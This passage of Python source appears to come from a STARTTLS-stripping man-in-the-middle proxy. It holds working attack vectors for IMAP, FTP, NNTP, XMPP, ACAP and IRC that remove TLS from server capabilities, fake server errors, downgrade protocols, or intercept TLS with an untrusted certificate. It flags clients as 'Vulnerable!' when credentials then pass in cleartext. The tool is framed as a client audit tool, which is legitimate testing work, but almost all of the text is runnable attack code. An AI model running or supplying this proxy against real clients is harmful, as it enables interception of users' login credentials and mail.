context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_CERTFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "+OK" not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class IMAP:
_PROTO_ID = 143
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if "CAPABILITY " in data:
# rfc2595
data = data.replace(" STARTTLS","").replace(" LOGINDISABLED","")
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.strip().lower().endswith("starttls"):
id = data.split(' ',1)[0].strip()
session.inbound.sendall("%s BAD unknown command\r\n"%id)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%s BAD unknown command\r\n"%id)))
data=None
elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class ProtocolDowngradeToV2:
''' Return IMAP2 instead of IMAP4 in initial server response
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if all(kw.lower() in data.lower() for kw in ("IMAP4","* OK ")):
session.inbound.sendall("OK IMAP2 Server Ready\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("OK IMAP2 Server Ready\r\n")))
data=None
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.strip().lower().endswith("starttls"):
id = data.split(' ',1)[0].strip()
# do inbound STARTTLS
session.inbound.sendall("%s OK Begin TLS negotation now\r\n"%id)
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("%s OK Begin TLS negotation now\r\n"%id)))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_CERTFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "%s OK"%id not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class FTP:
_PROTO_ID = 21
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce AUTH TLS support
2) raise exception if client tries to negotiated AUTH TLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if session.outbound.sndbuf.strip().lower()=="feat" \
and "AUTH TLS" in data:
features = (f for f in data.strip().split('\n') if not "AUTH TLS" in f)
data = '\n'.join(features)+"\r\n"
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "USER " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending AUTH TLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
session.inbound.sendall("500 AUTH TLS not understood\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("500 AUTH TLS not understood\r\n")))
data=None
elif "USER " in data:
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
# do inbound STARTTLS
session.inbound.sendall("234 OK Begin TLS negotation now\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("234 OK Begin TLS negotation now\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not resp_data.startswith("234"):
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "USER " in data:
rewrite.set_result(session, True)
return data
class NNTP:
_PROTO_ID = 119
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if session.outbound.sndbuf.strip().lower()=="capabilities" \
and "STARTTLS" in data:
features = (f for f in data.strip().split('\n') if not "STARTTLS" in f)
data = '\n'.join(features)+"\r\n"
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("502 Command unavailable\r\n") # or 580 Can not initiate TLS negotiation
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("502 Command unavailable\r\n")))
data=None
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("382 Continue with TLS negotiation\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("382 Continue with TLS negotiation\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not resp_data.startswith("382"):
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class XMPP:
_PROTO_ID = 5222
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if "<starttls" in data:
start = data.index("<starttls")
end = data.index("</starttls>",start)+len("</starttls>")
data = data[:start] + data[end:] # strip starttls from capabilities
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "<starttls" in data:
# do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>
#<failure/> or <proceed/>
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
#session.inbound.sendall("<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>") # fake respone
#data=None
elif any(c in data.lower() for c in ("</auth>","<query","<iq","<username")):
rewrite.set_result(session, True)
return data
class StripInboundTLS:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) If starttls is required outbound, leave inbound connection plain - outbound starttls
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if "<starttls" in data:
start = data.index("<starttls")
end = data.index("</starttls>",start)+len("</starttls>")
starttls_args = data[start:end]
data = data[:start] + data[end:] # strip inbound starttls
if "required" in starttls_args:
# do outbound starttls as required by server
session.outbound.sendall("<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
logger.debug("%s [client] => [server][mangled] %s"%(session,repr("<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")))
resp_data = session.outbound.recv_blocked()
if not resp_data.startswith("<proceed "):
raise ProtocolViolationException("whoop!? server announced STARTTLS *required* but fails to proceed. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "<starttls" in data:
# do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>
#<failure/> or <proceed/>
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
#session.inbound.sendall("<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>") # fake respone
#data=None
elif any(c in data.lower() for c in ("</auth>","<query","<iq","<username")):
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "<starttls " in data:
# do inbound STARTTLS
session.inbound.sendall("<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not resp_data.startswith("<proceed "):
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "</auth>" in data:
rewrite.set_result(session, True)
return data
class ACAP:
#rfc2244, rfc2595
_PROTO_ID = 675
_REX_CAP = re.compile(r"\(([^\)]+)\)")
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if all(kw in data for kw in ("ACAP","STARTTLS")):
features = Vectors.ACAP._REX_CAP.findall(data) # features w/o parentheses
data = ' '.join("(%s)"%f for f in features if not "STARTTLS" in f)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif " AUTHENTICATE " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
id = data.split(' ',1)[0].strip()
session.inbound.sendall('%s BAD "command unknown or arguments invalid"'%id) # or 580 Can not initiate TLS negotiation
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr('%s BAD "command unknown or arguments invalid"'%id)))
data=None
elif " AUTHENTICATE " in data:
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
# do inbound STARTTLS
id = data.split(' ',1)[0].strip()
session.inbound.sendall('%s OK "Begin TLS negotiation now"'%id)
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr('%s OK "Begin TLS negotiation now"'%id)))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not " OK " in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif " AUTHENTICATE " in data:
rewrite.set_result(session, True)
return data
class IRC:
#rfc2244, rfc2595
_PROTO_ID = 6667
_REX_CAP = re.compile(r"\(([^\)]+)\)")
_IDENT_PORT = 113
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if all(kw.lower() in data.lower() for kw in (" cap "," tls")):
mangled = []
for line in data.split("\n"):
if all(kw.lower() in line.lower() for kw in (" cap "," tls")):
# can be CAP LS or CAP ACK/NACK
if " ack " in data.lower():
line = line.replace("ACK","NAK").replace("ack","nak")
else: #ls
features = line.split(" ")
line = ' '.join(f for f in features if not 'tls' in f.lower())
mangled.append(line)
data = "\n".join(mangled)
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
#elif all(kw.lower() in data.lower() for kw in ("cap req","tls")):
# # mangle CAPABILITY REQUEST
# if ":" in data:
# cmd, caps = data.split(":")
# caps = (c for c in caps.split(" ") if not "tls" in c.lower())
# data="%s:%s"%(cmd,' '.join(caps))
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
params = {'srv':'this.server.com',
'nickname': '*',
'cmd': 'STARTTLS'
}
# if we're lucky we can extract the username from a prev. server line
prev_response = session.outbound.recvbuf.strip()
if prev_response:
fields = prev_response.split(" ")
try:
params['srv'] = fields[0]
params['nickname'] = fields[2]
except IndexError:
pass
session.inbound.sendall("%(srv)s 691 %(nickname)s :%(cmd)s\r\n"%params)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 691 %(nickname)s :%(cmd)s\r\n"%params)))
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class StripWithNotRegistered:
''' 1) force server wrong state on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
params = {'srv':'this.server.com',
'nickname': '*',
'cmd': 'You have not registered'
}
# if we're lucky we can extract the username from a prev. server line
prev_response = session.outbound.recvbuf.strip()
if prev_response:
fields = prev_response.split(" ")
try:
params['srv'] = fields[0]
params['nickname'] = fields[2]
except IndexError:
pass
session.inbound.sendall("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params)))
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class StripCAPWithNotRegistered:
''' 1) force server wrong state on client sending CAP LS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "CAP LS" in data:
params = {'srv':'this.server.com',
'nickname': '*',
'cmd': 'You have not registered'
}
# if we're lucky we can extract the username from a prev. server line
prev_response = session.outbound.recvbuf.strip()
if prev_response:
fields = prev_response.split(" ")
try:
params['srv'] = fields[0]
params['nickname'] = fields[2]
except IndexError:
pass
session.inbound.sendall("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params)))
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class StripWithSilentDrop:
''' 1) silently drop starttls command
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if " ident " in data.lower():
#TODO: proxy ident
pass
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
params = {'srv':'this.server.com',
'nickname': '*',
'cmd': 'STARTTLS'
}
# if we're lucky we can extract the username from a prev. server line
prev_response = session.outbound.recvbuf.strip()
if prev_response:
fields = prev_response.split(" ")
try:
params['srv'] = fields[0]
params['nickname'] = fields[2]
except IndexError:
pass
session.inbound.sendall(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params)
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params)))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not " 670 " in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class RewriteDispatcher(object):
def __init__(self, generic_tls_intercept=False):
self.vectors = {} # proto:[vectors]
self.results = [] # [ {session,client_ip,mangle,result}, }
self.session_to_mangle = {} # session:mangle
self.generic_tls_intercept = generic_tls_intercept
def __repr__(self):
return "<RewriteDispatcher ssl/tls_intercept=%s vectors=%s>"%(self.generic_tls_intercept, repr(self.vectors))
def get_results(self):
return self.results
def get_results_by_clients(self):
results = {} #client:{mangle:result}
for r in self.get_results():
client = r['client']
results.setdefault(client,[])
mangle = r['mangle']
result = r['result']
results[client].append((mangle,result))
return results
def get_result(self, session):
for r in self.get_results():
if r['session']==session:
return r
return None
def set_result(self, session, value):
r = self.get_result(session)
r['result'] = value
def add(self, proto, attack):
self.vectors.setdefault(proto,set([]))
self.vectors[proto].add(attack)
def get_mangle(self, session):
''' smart select mangle
return same mangle for same session
return different for different session
try to use all mangles for same client-ip
'''
# 1) session already has a mangle associated to it
mangle = self.session_to_mangle.get(session)
if mangle:
return mangle
# 2) pick new mangle (round-robin) per client
#
client_ip = session.inbound.peer[0]
client_mangle_history = [r for r in self.get_results() if r['client']==client_ip]
all_mangles = list(self.get_mangles(session.protocol.protocol_id))
if not all_mangles:
return None
new_index = 0
if client_mangle_history:
previous_result = client_mangle_history[-1]
new_index = (all_mangles.index(previous_result['mangle'])+1) % len(all_mangles)
mangle = all_mangles[new_index]
self.results.append({'client':client_ip,
'session':session,
'mangle':mangle,
'result':None})
#mangle = iter(self.get_mangles(session.protocol.protocol_id)).next()
logger.debug("<RewriteDispatcher - changed mangle: %s new: %s>"%(mangle,"False" if len(client_mangle_history)>len(all_mangles) else "True"))
self.session_to_mangle[session] = mangle
return mangle
def get_mangles(self, proto):
m = self.vectors.get(proto,set([]))
m.update(self.vectors.get(None,[]))
return m
def mangle_server_data(self, session, data):
data_orig = data
logger.debug("%s [client] <= [server] %s"%(session,repr(data)))
if self.get_mangle(session):
data = self.get_mangle(session).mangle_server_data(session, data, self)
if data!=data_orig:
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr(data)))
return data
def mangle_client_data(self, session, data):
data_orig = data
logger.debug("%s [client] => [server] %s"%(session,repr(data)))
if self.get_mangle(session):
#TODO: just use the first one for now
data = self.get_mangle(session).mangle_client_data(session, data, self)
if data!=data_orig:
logger.debug("%s [client] => [server][mangled] %s"%(session,repr(data)))
return data
def on_recv_peek(self, s_in, session):
if self.generic_tls_intercept:
# forced by cmdline-option
return Vectors.GENERIC.Intercept.on_recv_peek(session, s_in)
elif hasattr(self.get_mangle(session), "on_recv_peek"):
return self.get_mangle(session).on_recv_peek(session, s_in)
def main():
from optparse import OptionParser
ret = 0
usage = """usage: %prog [options]
example: %prog --listen 0.0.0.0:25 --remote mail.server.tld:25
"""
parser = OptionParser(usage=usage)
parser.add_option("-q", "--quiet",
action="store_false", dest="verbose", default=True,
help="be quiet [default: %default]")
parser.add_option("-l", "--listen", dest="listen", help="listen ip:port [default: 0.0.0.0:<remote_port>]")
parser.add_option("-r", "--remote", dest="remote", help="remote target ip:port to forward sessions to")
parser.add_option("-k", "--key", dest="key", default="server.pem", help="SSL Certificate and Private key file to use, PEM format assumed [default: %default]")
parser.add_option("-s", "--generic-ssl-intercept",
action="store_true", dest="generic_tls_intercept", default=False,
help="dynamically intercept SSL/TLS")
parser.add_option("-b", "--bufsiz", dest="buffer_size", type="int", default=4096)
all_vectors = []
for proto in (v for v in dir(Vectors) if not v.startswith("_")):
for test in (v for v in dir(getattr(Vectors,proto)) if not v.startswith("_")):
all_vectors.append("%s.%s"%(proto,test))
parser.add_option("-x", "--vectors",
default="ALL",
help="Comma separated list of vectors. Use 'ALL' (default) to select all vectors, 'NONE' for tcp/ssl proxy mode. Available vectors: "+", ".join(all_vectors)+""
" [default: %default]")
# parse args
(options, args) = parser.parse_args()
# normalize args
if not options.verbose:
logger.setLevel(logging.INFO)
if not options.remote:
parser.error("mandatory option: remote")
if ":" not in options.remote and ":" in options.listen:
# no port in remote, but there is one in listen. use this one
options.remote = (options.remote.strip(), int(options.listen.strip().split(":")[1]))
logger.warning("no remote port specified - falling back to %s:%d (listen port)"%options.remote)
elif ":" in options.remote:
options.remote = options.remote.strip().split(":")
options.remote = (options.remote[0], int(options.remote[1]))
else:
parser.error("neither remote nor listen is in the format <host>:<port>")
if not options.listen:
logger.warning("no listen port specified - falling back to 0.0.0.0:%d (remote port)"%options.remote[1])
options.listen = ("0.0.0.0",options.remote[1])
elif ":" in options.listen:
options.listen = options.listen.strip().split(":")
options.listen = (options.listen[0], int(options.listen[1]))
else:
options.listen = (options.listen.strip(), options.remote[1])
logger.warning("no listen port specified - falling back to %s:%d (remote port)"%options.listen)
options.vectors = [o.strip() for o in options.vectors.strip().split(",")]
if 'ALL' in (v.upper() for v in options.vectors):
options.vectors = all_vectors
elif 'NONE' in (v.upper() for v in options.vectors):
options.vectors = []
Vectors._TLS_CERTFILE = Vectors._TLS_KEYFILE = options.key
# ---- start up engines ----
prx = ProxyServer(listen=options.listen, target=options.remote,
buffer_size=options.buffer_size, delay=0.00001)
logger.info("%s ready."%prx)
rewrite = RewriteDispatcher(generic_tls_intercept=options.generic_tls_intercept)
for classname in options.vectors:
try:
proto, vector = classname.split('.',1)
cls_proto = getattr(globals().get("Vectors"),proto)
cls_vector = getattr(cls_proto, vector)
rewrite.add(cls_proto._PROTO_ID, cls_vector)
logger.debug("* added vector (port:%-5s, proto:%8s): %s"%(cls_proto._PROTO_ID, proto, repr(cls_vector)))
except Exception, e:
logger.error("* error - failed to add: %s"%classname)
parser.error("invalid vector: %s"%classname)
logging.info(repr(rewrite))
prx.set_callback("mangle_server_data", rewrite.mangle_server_data)
prx.set_callback("mangle_client_data", rewrite.mangle_client_data)
prx.set_callback("on_recv_peek", rewrite.on_recv_peek)
try:
prx.main_loop()
except KeyboardInterrupt:
logger.warning( "Ctrl C - Stopping server")
ret+=1
logger.info(" -- audit results --")
for client,resultlist in rewrite.get_results_by_clients().iteritems():
logger.info("[*] client: %s"%client)
for mangle, result in resultlist:
logger.info(" [%-11s] %s"%("Vulnerable!" if result else " ",repr(mangle)))
sys.exit(ret)
if __name__ == '__main__':
main()
Reference in a new issue View git blame Copy permalink